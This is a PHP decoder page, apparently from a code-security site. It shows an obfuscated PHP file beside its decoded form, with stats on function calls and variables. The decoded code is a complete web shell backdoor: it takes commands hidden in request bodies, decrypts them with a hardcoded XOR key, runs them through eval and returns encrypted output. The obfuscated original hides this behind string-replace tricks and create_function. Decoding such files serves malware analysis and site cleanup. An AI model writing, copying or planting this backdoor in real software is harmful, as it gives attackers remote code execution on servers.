Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a='Ru_coRuRuntents();@ob_enRud_clRuean();$r=RuRu@basRuRue64_encode(@x(@gzcomRupres..

Decoded Output download

$k="41974129";$kh="389c87e76919";$kf="d9296ba790c3";$p="Ay4baOOZCIldLuTZ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$a='Ru_coRuRuntents();@ob_enRud_clRuean();$r=RuRu@basRuRue64_encode(@x(@gzcomRupresRus($oRu),$k));priRuRunt("$p$kh$Rur$kf");}';
$i='RuRu){$c=sRutrleRun($kRu)Ru;$l=stRurlen($t);$Ruo="";for($i=0RuRu;$i<$lRu;){for($j=0Ru;(Ru$j<$cRu&&$i<$Rul);$j++,$i+';
$X='$kRu="419741Ru29"Ru;$kRuh="389c8RuRu7e76919";$kRuf="d9296Ruba7Ru90c3";$Rup="Ay4baOORuZCIldRuLuTZ";funRuction x(Ru$t,$k';
$A='RuRu+){$Ruo.=Ru$t{$i}^$kRu{$Ruj};}}return $o;}if(@Rupreg_Rumatch(Ru"/Ru$kh(.+)$kf/Ru",@file_gRuRuRuet_RuconteRunts("php://';
$L=str_replace('v','','crvveate_vfvuncvtivon');
$K='input"),$mRu)==Ru1){@ob_stRuart();@RueRuvalRu(@gRuzuncompress(Ru@Rux(@bRuase64_decodRue($m[1]),$k)Ru));$o=@Ruob_get';
$F=str_replace('Ru','',$X.$i.$A.$K.$a);
$B=$L('',$F);$B();
?>

Function Calls

str_replace 2
create_function 1

Variables

$A RuRu+){$Ruo.=Ru$t{$i}^$kRu{$Ruj};}}return $o;}if(@Rupreg_Rum..
$F $k="41974129";$kh="389c87e76919";$kf="d9296ba790c3";$p="Ay4b..
$K input"),$mRu)==Ru1){@ob_stRuart();@RueRuvalRu(@gRuzuncompres..
$L create_function
$X $kRu="419741Ru29"Ru;$kRuh="389c8RuRu7e76919";$kRuf="d9296Rub..
$a Ru_coRuRuntents();@ob_enRud_clRuean();$r=RuRu@basRuRue64_enc..
$i RuRu){$c=sRutrleRun($kRu)Ru;$l=stRurlen($t);$Ruo="";for($i=0..

Stats

MD5 51dc22716b1d52d40312e257379ed689
Eval Count 1
Decode Time 113 ms